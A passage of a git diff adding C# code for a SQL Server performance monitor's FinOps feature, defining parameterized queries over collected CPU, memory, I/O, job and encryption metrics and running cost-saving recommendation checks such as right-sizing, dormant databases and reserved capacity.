+AND   collection_time >= $2";
+
+    /// <summary>7-day P95 of SQL Server CPU utilization, for the VM right-sizing CPU prescription. $1 server_id, $2 cutoff (naive UTC).</summary>
+    public const string CpuP95Sql = @"
+SELECT PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu,
+       MIN(collection_time) AS first_sample, MAX(collection_time) AS last_sample,
+       COUNT(sqlserver_cpu_utilization) AS window_samples
+FROM v_cpu_utilization_stats
+WHERE server_id = $1
+AND   collection_time >= $2";
+
+    /// <summary>SQL Agent jobs that ran long at least 3 times in the window (maintenance-window efficiency). $1 server_id, $2 cutoff (naive UTC).</summary>
+    public const string MaintenanceWindowSql = @"
+SELECT
+    job_name,
+    COUNT(*) AS run_count,
+    AVG(current_duration_seconds) AS avg_duration_seconds,
+    MAX(current_duration_seconds) AS max_duration_seconds,
+    AVG(avg_duration_seconds) AS avg_historical,
+    SUM(CASE WHEN is_running_long THEN 1 ELSE 0 END) AS times_ran_long
+FROM v_running_jobs
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   avg_duration_seconds > 0
+GROUP BY job_name
+HAVING SUM(CASE WHEN is_running_long THEN 1 ELSE 0 END) >= 3
+ORDER BY times_ran_long DESC
+LIMIT 10";
+
+    /// <summary>Per-database aggregate read/write I/O + stall over the window (storage-tier optimization). $1 server_id, $2 cutoff (naive UTC).</summary>
+    public const string StorageTierSql = @"
+SELECT
+    database_name,
+    SUM(delta_reads) AS total_reads,
+    SUM(delta_stall_read_ms) AS total_stall_read_ms,
+    SUM(delta_writes) AS total_writes,
+    SUM(delta_stall_write_ms) AS total_stall_write_ms,
+    MIN(collection_time) AS first_sample,
+    MAX(collection_time) AS last_sample,
+    COUNT(*) AS window_samples
+FROM v_file_io_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   delta_reads > 0
+GROUP BY database_name
+HAVING SUM(delta_reads) > 1000";
+
+    /// <summary>The first and last CPU sample in the window (the span the CPU right-sizing rules need to be 24 hours). $1 server_id, $2 cutoff (naive UTC).</summary>
+    public const string CpuSampleSpanSql = @"
+SELECT MIN(collection_time), MAX(collection_time)
+FROM v_cpu_utilization_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   sqlserver_cpu_utilization IS NOT NULL";
+
+    /// <summary>CPU utilization mean + standard deviation + sample count (reserved-capacity stability). $1 server_id, $2 cutoff (naive UTC).</summary>
+    public const string ReservedCapacitySql = @"
+SELECT
+    AVG(sqlserver_cpu_utilization) AS avg_cpu,
+    STDDEV(sqlserver_cpu_utilization) AS stddev_cpu,
+    COUNT(*) AS sample_count
+FROM v_cpu_utilization_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+HAVING COUNT(*) >= 24";
+
+    /// <summary>
+    /// The server's latest collected <c>SERVERPROPERTY('EngineEdition')</c>, for the right-sizing rules that do not
+    /// apply to Azure SQL Database. Same row Lite reads (<c>GetSqlEngineEditionAsync</c>): the newest collected
+    /// <c>server_properties</c> row. $1 server_id.
+    /// </summary>
+    public const string EngineEditionSql = @"
+SELECT engine_edition
+FROM server_properties
+WHERE server_id = $1
+ORDER BY collection_time DESC
+LIMIT 1";
+
+    /// <summary>
+    /// Every database's collected state and encryption flag at the server's latest <c>database_config</c> capture,
+    /// ordered by name. Same snapshot the viewer's database-configuration read returns. The capture time is projected so the read names the instant it anchors on. $1 server_id.
+    /// </summary>
+    public const string DatabaseEncryptionFactsSql = @"
+SELECT database_name, state_desc, is_encrypted, capture_time
+FROM v_database_config
+WHERE server_id = $1
+AND   capture_time = (SELECT MAX(capture_time) FROM v_database_config WHERE server_id = $1)
+ORDER BY database_name";
+
+    /// <summary>Reads the server's latest collected edition / product-version-major / CPU count + AG role / HADR flag, or null when no server_properties row exists yet.</summary>
+    public static async Task<FinOpsEditionFacts?> GetEditionFactsAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(EditionFactsSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            return null;
+        }
+
+        var edition = reader.IsDBNull(0) ? "" : reader.GetString(0);
+        var productVersion = reader.IsDBNull(1) ? null : reader.GetString(1);
+        var cpuCount = reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2), CultureInfo.InvariantCulture);
+        /* The collected AG state: ServerPropertiesCollector resolves ag_replica_role live from
+           sys.dm_hadr_availability_replica_states, and is_hadr_enabled is SERVERPROPERTY('IsHadrEnabled').
+           Absent/NULL (non-AG platforms, Azure SQL DB, nothing collected yet) => the Standalone / feature-off
+           fallback — exactly Lite's own behaviour where the AG DMVs are unavailable. */
+        var agReplicaRole = reader.IsDBNull(3) ? "Standalone" : reader.GetString(3);
+        var isHadrEnabled = !reader.IsDBNull(4) && reader.GetBoolean(4);
+        return new FinOpsEditionFacts(edition, DarlingFinOpsIndexAnalysisReader.ParseMajorVersion(productVersion), cpuCount, agReplicaRole, isHadrEnabled);
+    }
+
+    /// <summary>
+    /// The server's latest collected engine edition, or <see cref="CollectorEngineCapability.UnknownEngineEdition"/>
+    /// when nothing is collected yet (or the row carries no edition).
+    /// </summary>
+    public static async Task<int> GetEngineEditionAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(EngineEditionSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        return await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0)
+            ? Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture)
+            : CollectorEngineCapability.UnknownEngineEdition;
+    }
+
+    /// <summary>True once the server's query stats hold a sample on each of the last 7 UTC days; see <see cref="DarlingFinOpsOptimizationReader.HasIdleCoverageAsync"/>.</summary>
+    public static Task<bool> HasQueryStatsCoverageAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default) =>
+        DarlingFinOpsOptimizationReader.HasIdleCoverageAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+
+    /// <summary>The oldest CPU sample since <paramref name="cutoff"/>, or null when there is none (the 24-hour rule's window check).</summary>
+    public static async Task<DateTime?> GetOldestCpuSampleAsync(NpgsqlDataSource dataSource, int serverId, DateTime cutoff, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(CpuSampleSpanSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        return await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0) ? reader.GetDateTime(0) : null;
+    }
+
+    /// <summary>The span from the oldest to the newest CPU sample since <paramref name="cutoff"/>: zero when there is none.</summary>
+    public static async Task<TimeSpan> GetCpuSampleSpanAsync(NpgsqlDataSource dataSource, int serverId, DateTime cutoff, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(CpuSampleSpanSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        return await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0) && !reader.IsDBNull(1)
+            ? reader.GetDateTime(1) - reader.GetDateTime(0)
+            : TimeSpan.Zero;
+    }
+
+    /// <summary>Reads the 7-day P95 Total Server Memory (MB) + sample count (shared by the memory + VM right-sizing checks).</summary>
+    public static async Task<(int P95Mb, long SampleCount, string Window)> GetMemoryP95Async(NpgsqlDataSource dataSource, int serverId, DateTime cutoff, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(MemoryP95Sql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (await reader.ReadAsync(cancellationToken))
+        {
+            var p95Mb = reader.IsDBNull(0) ? 0 : Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture);
+            var sampleCount = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1), CultureInfo.InvariantCulture);
+            var window = RightSizingWindow.Describe(reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4), CultureInfo.InvariantCulture), reader.IsDBNull(2) || reader.IsDBNull(3) ? TimeSpan.Zero : reader.GetDateTime(3) - reader.GetDateTime(2));
+            return (p95Mb, sampleCount, window);
+        }
+
+        return (0, 0L, RightSizingWindow.Describe(0, TimeSpan.Zero));
+    }
+
+    /// <summary>Reads the SQL Agent jobs that ran long at least 3 times in the window, in read order (most long runs first), one row per job.</summary>
+    public static async Task<List<MaintenanceJobRun>> GetMaintenanceJobRunsAsync(NpgsqlDataSource dataSource, int serverId, DateTime cutoff, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var runs = new List<MaintenanceJobRun>();
+        await using var command = dataSource.CreateCommand(MaintenanceWindowSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var jobName = reader.IsDBNull(0) ? "" : reader.GetString(0);
+            var avgDuration = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2), CultureInfo.InvariantCulture);
+            var maxDuration = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3), CultureInfo.InvariantCulture);
+            var avgHistorical = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4), CultureInfo.InvariantCulture);
+            var timesLong = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5), CultureInfo.InvariantCulture);
+
+            runs.Add(new MaintenanceJobRun(jobName, avgDuration, maxDuration, avgHistorical, timesLong));
+        }
+
+        return runs;
+    }
+
+    /// <summary>Reads the 7-day P95 SQL Server CPU utilization and the window its samples cover, or null when the window holds no CPU sample.</summary>
+    public static async Task<(decimal P95CpuPct, string Window)?> GetCpuP95Async(NpgsqlDataSource dataSource, int serverId, DateTime cutoff, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var cpuCommand = dataSource.CreateCommand(CpuP95Sql);
+        cpuCommand.CommandTimeout = commandTimeoutSeconds;
+        cpuCommand.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        cpuCommand.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
+
+        await using var cpuReader = await cpuCommand.ExecuteReaderAsync(cancellationToken);
+        if (await cpuReader.ReadAsync(cancellationToken) && !cpuReader.IsDBNull(0))
+        {
+            var p95Cpu7d = Convert.ToDecimal(cpuReader.GetValue(0), CultureInfo.InvariantCulture);
+            var cpuWindow = RightSizingWindow.Describe(cpuReader.IsDBNull(3) ? 0L : Convert.ToInt64(cpuReader.GetValue(3), CultureInfo.InvariantCulture), cpuReader.IsDBNull(1) || cpuReader.IsDBNull(2) ? TimeSpan.Zero : cpuReader.GetDateTime(2) - cpuReader.GetDateTime(1));
+            return (p95Cpu7d, cpuWindow);
+        }
+
+        return null;
+    }
+
+    /// <summary>Reads the per-database aggregate read/write I/O + stall over the window, in read order, for the storage-tier check.</summary>
+    public static async Task<List<StorageTierIo>> GetStorageTierIoAsync(NpgsqlDataSource dataSource, int serverId, DateTime cutoff, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var storageRows = new List<StorageTierIo>();
+
+        await using (var command = dataSource.CreateCommand(StorageTierSql))
+        {
+            command.CommandTimeout = commandTimeoutSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
+
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                var dbName = reader.IsDBNull(0) ? "" : reader.GetString(0);
+                var totalReads = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1), CultureInfo.InvariantCulture);
+                var totalStallRead = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2), CultureInfo.InvariantCulture);
+                var totalWrites = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3), CultureInfo.InvariantCulture);
+                var totalStallWrite = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4), CultureInfo.InvariantCulture);
+
+                storageRows.Add(new StorageTierIo(dbName, totalReads, totalStallRead, totalWrites, totalStallWrite,
+                    reader.IsDBNull(5) ? null : reader.GetDateTime(5),
+                    reader.IsDBNull(6) ? null : reader.GetDateTime(6),
+                    reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7), CultureInfo.InvariantCulture)));
+            }
+        }
+
+        return storageRows;
+    }
+
+    /// <summary>Reads the CPU utilization mean + standard deviation over the window (reserved-capacity stability), or null when the window holds too few samples (under 24) or no mean.</summary>
+    public static async Task<(decimal AvgCpuPct, decimal StddevCpuPct)?> GetReservedCapacityAsync(NpgsqlDataSource dataSource, int serverId, DateTime cutoff, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(ReservedCapacitySql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0))
+        {
+            var avgCpu = Convert.ToDecimal(reader.GetValue(0), CultureInfo.InvariantCulture);
+            var stddevCpu = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1), CultureInfo.InvariantCulture);
+            return (avgCpu, stddevCpu);
+        }
+
+        return null;
+    }
+
+    /// <summary>Reads each database's state and encryption flag at the server's latest configuration capture, ordered by name; empty when nothing was captured. A NULL state reads as empty and a NULL flag as not encrypted.</summary>
+    public static async Task<List<DatabaseEncryptionFact>> GetDatabaseEncryptionFactsAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var facts = new List<DatabaseEncryptionFact>();
+        await using var command = dataSource.CreateCommand(DatabaseEncryptionFactsSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            facts.Add(new DatabaseEncryptionFact(
+                reader.GetString(0),
+                reader.IsDBNull(1) ? "" : reader.GetString(1),
+                !reader.IsDBNull(2) && reader.GetBoolean(2)));
+        }
+
+        return facts;
+    }
+
+    /// <summary>
+    /// Runs every monitor-side FinOps recommendation check over the collected store and returns the consolidated
+    /// list sorted by severity. All reads are async I/O (they don't block the UI thread), and each check is
+    /// isolated in its own try/catch so a single failing read degrades to "that check absent" rather than an
+    /// empty tab. <paramref name="monthlyCost"/> is the per-server budget (0 → findings emit with no savings
+    /// estimate, mirroring Lite's <c>monthlyCost &gt; 0 ? … : null</c>).
+    /// </summary>
+    /// <param name="secondaryDatabases">Optional (#5558). The databases this node holds only as a secondary copy in an
+    /// Availability Group, as <c>PgSecondaryReplicaScope.ReadAsync</c> resolves them (that class lives in the Analysis project,
+    /// which depends on this one, so the caller resolves the set). The idle, dev/test, TDE-blocker and compression rules drop
+    /// them, because the primary reports the same finding for the same replicated database; the low IO latency rule keeps them,
+    /// since a replica's own storage is that replica's own cost. Null or empty skips nothing, which is how a stale snapshot, a
+    /// standalone server and Azure SQL Database arrive. The edition note still follows the instance-level collected role
+    /// (<c>server_properties.ag_replica_role</c>): an edition is one decision for the whole group, not a finding about a database.</param>
+    /// <param name="onCheckFailed">Optional. Invoked once per failed check with that check's label and the exception.
+    /// It is not invoked for the VM check's inner CPU fallback, which degrades to the 24-hour window and still emits.</param>
+    public static async Task<List<FinOpsRecommendation>> GetRecommendationsAsync(NpgsqlDataSource dataSource, int serverId, decimal monthlyCost, int commandTimeoutSeconds, Action<string, Exception>? onCheckFailed = null,
+        IReadOnlyCollection<string>? secondaryDatabases = null, CancellationToken cancellationToken = default)
+    {
+        var recommendations = new List<FinOpsRecommendation>();
+        var memoryCutoff = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-7), DateTimeKind.Unspecified);
+
+        // 1. Enterprise feature / license audit (collected server_properties + database_config.is_encrypted).
+        try
+        {
+            var facts = await GetEditionFactsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+            if (facts is { } f)
+            {
+                var isEnterprise = FinOpsRecommendationFigures.EditionNeedsLicensingAdvice(f.Edition);
+
+                // TDE is only the deciding factor on pre-2019 Enterprise — read the config snapshot just then.
+                var tdeDbNames = new List<string>();
+                var tdeSecondaryOnly = false;
+                if (isEnterprise && f.MajorVersion < 15)
+                {
+                    var tdeAllNames = FinOpsRecommendationFigures.SelectTdeDatabaseNames(
+                        await GetDatabaseEncryptionFactsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken));
+                    /* #5558: a secondary copy's TDE is the primary's to report. When every TDE database here is a secondary copy,
+                       "no Enterprise-only features" would be false and the blocker is the primary's, so the audit says nothing
+                       (a secondary-role instance keeps its own edition note, which never reads this list). */
+                    tdeDbNames = AgReplicaScope.WithoutSecondaries(tdeAllNames, secondaryDatabases);
+                    tdeSecondaryOnly = tdeAllNames.Count > 0 && tdeDbNames.Count == 0
+                        && !string.Equals(f.AgReplicaRole.Trim(), "Secondary", StringComparison.OrdinalIgnoreCase);
+                }
+
+                if (!tdeSecondaryOnly)
+                    recommendations.AddRange(
+                        FinOpsRecommendationFigures.EditionAudit(
+                            f.Edition, f.MajorVersion, f.CpuCount, tdeDbNames, monthlyCost, f.AgReplicaRole, f.IsHadrEnabled));
+            }
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Enterprise features): {ex.Message}");
+            onCheckFailed?.Invoke("Enterprise features", ex);
+        }
+
+        /* A server enrolled minutes ago holds only the ring-buffer backfill of its first collect ("68 samples over 4 minutes"), which
+           is not a day of load, so each CPU right-sizing rule waits for its own window to be watched, and the two never both land in
+           the list: the one that keeps more cores wins. The 24-hour rule (2, utilization efficiency) reads the last 24 hours, so its
+           oldest sample inside that window has to be 23 hours old; the 7-day rule (12) reads 7 days and keeps a 24-hour span. */
+        var cpuSpanEnough = false;
+        var cpu24HourWatched = false;
+        try
+        {
+            cpuSpanEnough = FinOpsRecommendationFigures.CpuSamplesSpanEnough(
+                await GetCpuSampleSpanAsync(dataSource, serverId, memoryCutoff, commandTimeoutSeconds, cancellationToken));
+            var now = DateTime.UtcNow;
+            cpu24HourWatched = FinOpsRecommendationFigures.Cpu24HourWindowWatched(
+                await GetOldestCpuSampleAsync(dataSource, serverId, DateTime.SpecifyKind(now.AddHours(-24), DateTimeKind.Unspecified), commandTimeoutSeconds, cancellationToken), now);
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (CPU sample span): {ex.Message}");
+        }
+
+        FinOpsRecommendation? computeCpuRow = null;
+        int? computeCpuTarget = null;
+
+        // 2. CPU right-sizing (collected utilization efficiency).
+        try
+        {
+            var util = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+            computeCpuRow = cpu24HourWatched ? FinOpsRecommendationFigures.CpuRightSizing(util, monthlyCost) : null;
+            if (computeCpuRow != null)
+            {
+                computeCpuTarget = FinOpsRecommendationFigures.CpuRightSizingTargetCores(util);
+                recommendations.Add(computeCpuRow);
+            }
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (CPU right-sizing): {ex.Message}");
+            onCheckFailed?.Invoke("CPU right-sizing", ex);
+        }
+
+        // 3. Memory right-sizing (7-day P95 Total Server Memory vs physical RAM).
+        try
+        {
+            var util = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+            /* No memory advice on an Azure SQL Database (engine_edition 5): its memory comes with its service objective
+               and cannot be resized on its own. util.PhysicalMemoryMb is the database's own memory limit there
+               (memory_stats, filled from committed_target_kb), not the host's, so the skip is not about a wrong
+               denominator: there is nothing to resize. Managed Instance (8) and SQL Server are unchanged. */
+            if (util != null && util.PhysicalMemoryMb > 8192
+                && await GetEngineEditionAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken) != CollectorEngineCapability.AzureSqlDatabaseEngineEdition)
+            {
+                var (p95Mb, sampleCount, window) = await GetMemoryP95Async(dataSource, serverId, memoryCutoff, commandTimeoutSeconds, cancellationToken);
+
+                var memoryRecommendation = FinOpsRecommendationFigures.MemoryRightSizing(util, p95Mb, sampleCount, window, monthlyCost);
+                if (memoryRecommendation != null)
+                    recommendations.Add(memoryRecommendation);
+            }
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Memory right-sizing): {ex.Message}");
+            onCheckFailed?.Invoke("Memory right-sizing", ex);
+        }
+
+        // 5. Compression candidates (collected index_object_stats snapshot; Lite's check 4 is dropped — Darling
+        //    has native Index Analysis, so the sp_IndexCleanup-existence prompt is obsolete).
+        try
+        {
+            var indexes = await DarlingFinOpsIndexAnalysisReader.GetIndexCleanupInputsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+            var rec = FinOpsRecommendationFigures.Compression(
+                indexes.Where(i => !AgReplicaScope.IsSkipped(secondaryDatabases, i.DatabaseName)));
+            if (rec != null)
+            {
+                recommendations.Add(rec);
+            }
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Compression): {ex.Message}");
+            onCheckFailed?.Invoke("Compression", ex);
+        }
+
+        // 6. Dormant database detection with cost impact (collected idle DBs + database sizes).
+        try
+        {
+            /* "No query activity in 7 days" is only true once each of the last 7 UTC days holds a query-stats sample: a server
+               enrolled hours ago, or one that was not collected for a stretch, has not been watched long enough to call any
+               database idle. */
+            var idleDbs = (await DarlingFinOpsOptimizationReader.GetIdleDatabaseReadAsync(
+                dataSource, serverId, DateTime.UtcNow.AddDays(-7), commandTimeoutSeconds, cancellationToken)).Rows
+                .Where(d => !AgReplicaScope.IsSkipped(secondaryDatabases, d.DatabaseName)).ToList();
+            if (idleDbs.Count > 0)
+            {
+                var allocatedTotalMb = 0m;
+                if (monthlyCost > 0)
+                {
+                    var totalMb = (await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken))?.AllocatedMb ?? 0m;
+                    if (totalMb > 0)
+                        allocatedTotalMb = totalMb;
+                }
+
+                var dormantRecommendation = FinOpsRecommendationFigures.Dormant(
+                    idleDbs.Select(d => (d.DatabaseName, d.TotalSizeMb)).ToList(), allocatedTotalMb, monthlyCost);
+                if (dormantRecommendation != null)
+                    recommendations.Add(dormantRecommendation);
+            }
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Dormant databases): {ex.Message}");
+            onCheckFailed?.Invoke("Dormant databases", ex);
+        }
+
+        // 7. Dev/test workload detection (collected database name list).
+        try
+        {
+            var devDbs = FinOpsRecommendationFigures.MatchDevTestDatabases(
+                (await GetDatabaseEncryptionFactsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken))
+                    .Select(r => r.DatabaseName).Where(name => !AgReplicaScope.IsSkipped(secondaryDatabases, name)));
+            var devTestRecommendation = FinOpsRecommendationFigures.DevTest(devDbs);
+            if (devTestRecommendation != null)
+                recommendations.Add(devTestRecommendation);
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Dev/test detection): {ex.Message}");
+            onCheckFailed?.Invoke("Dev/test detection", ex);
+        }
+
+        // 11. Maintenance window efficiency — jobs running long (collected running_jobs).
+        try
+        {
+            foreach (var run in await GetMaintenanceJobRunsAsync(dataSource, serverId, memoryCutoff, commandTimeoutSeconds, cancellationToken))
+                recommendations.Add(FinOpsRecommendationFigures.MaintenanceJob(run));
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Maintenance window): {ex.Message}");
+            onCheckFailed?.Invoke("Maintenance window", ex);
+        }
+
+        // 12. VM right-sizing — prescriptive core/memory targets (collected 7-day P95 CPU + memory).
+        try
+        {
+            var vmUtil = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+            /* No VM to resize on Azure SQL Database (its cores and memory come with its service objective),
+               and no advice from a window with no CPU sample (its P95 of 0 is not a measurement). */
+            if (vmUtil != null && FinOpsUtilizationFigures.HasCpuSample(vmUtil)
+                && await GetEngineEditionAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken) != CollectorEngineCapability.AzureSqlDatabaseEngineEdition)
+            {
+                decimal p95Cpu7d = vmUtil.P95CpuPct;
+                var cpuWindow = "recent samples"; // neutral until the 7-day read supplies its own span; the 24-hour fallback has no span of its own
+                int cpuCount = vmUtil.CpuCount;
+                int physMb = vmUtil.PhysicalMemoryMb;
+
+                // Prefer the 7-day P95 CPU; fall back to the 24-hour P95 already on vmUtil.
+                try
+                {
+                    if (await GetCpuP95Async(dataSource, serverId, memoryCutoff, commandTimeoutSeconds, cancellationToken) is { } cpu)
+                    {
+                        p95Cpu7d = cpu.P95CpuPct;
+                        cpuWindow = cpu.Window;
+                    }
+                }
+                catch (Exception ex)
+                {
+                    Debug.WriteLine($"Recommendation check (VM right-sizing) 7-day CPU P95 fell back to 24h: {ex.Message}");
+                }
+
+                var (p95MemMb, memSampleCount, memWindow) = await GetMemoryP95Async(dataSource, serverId, memoryCutoff, commandTimeoutSeconds, cancellationToken);
+
+                /* One CPU right-sizing row per server: rule 2 may already have added its row, and this one then takes its place
+                   only when it keeps more cores. */
+                var vmCpuTarget = FinOpsRecommendationFigures.VmCpuTargetCores(p95Cpu7d, cpuCount);
+                var vmCpuRowWins = cpuSpanEnough && vmCpuTarget is int vmTarget && FinOpsRecommendationFigures.PrescriptiveCpuRowWins(computeCpuTarget, vmTarget);
+                if (vmCpuRowWins && computeCpuRow != null)
+                    recommendations.Remove(computeCpuRow);
+
+                foreach (var vmRecommendation in FinOpsRecommendationFigures.VmRightSizing(
+                    p95Cpu7d, cpuWindow, cpuCount, physMb, p95MemMb, memSampleCount, memWindow, monthlyCost, includeCpuRow: vmCpuRowWins))
+                    recommendations.Add(vmRecommendation);
+            }
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (VM right-sizing): {ex.Message}");
+            onCheckFailed?.Invoke("VM right-sizing", ex);
+        }
+
+        // 13. Storage tier optimization — databases with low I/O latency (collected file_io_stats).
+        try
+        {
+            var storageRows = await GetStorageTierIoAsync(dataSource, serverId, memoryCutoff, commandTimeoutSeconds, cancellationToken);
+
+            var storageRecommendation = FinOpsRecommendationFigures.StorageTier(storageRows);
+            if (storageRecommendation != null)
+                recommendations.Add(storageRecommendation);
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Storage tier): {ex.Message}");
+            onCheckFailed?.Invoke("Storage tier", ex);
+        }
+
+        // 14. Reserved capacity candidates — stable CPU utilization (collected cpu_utilization_stats).
+        try
+        {
+            if (await GetReservedCapacityAsync(dataSource, serverId, memoryCutoff, commandTimeoutSeconds, cancellationToken) is { } reserved)
+            {
+                var reservedRecommendation = FinOpsRecommendationFigures.ReservedCapacity(reserved.AvgCpuPct, reserved.StddevCpuPct);
+                if (reservedRecommendation != null)
+                    recommendations.Add(reservedRecommendation);
+            }
+        }
+        catch (Exception ex)
+        {
+            Debug.WriteLine($"Recommendation check failed (Reserved capacity): {ex.Message}");
+            onCheckFailed?.Invoke("Reserved capacity", ex);
+        }
+
+        return FinOpsRecommendationFigures.Ordered(recommendations);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsStorageGrowthReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsStorageGrowthReader.cs
new file mode 100644
index 0000000000..949862bd2a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsStorageGrowthReader.cs
@@ -0,0 +1,632 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Common;
+
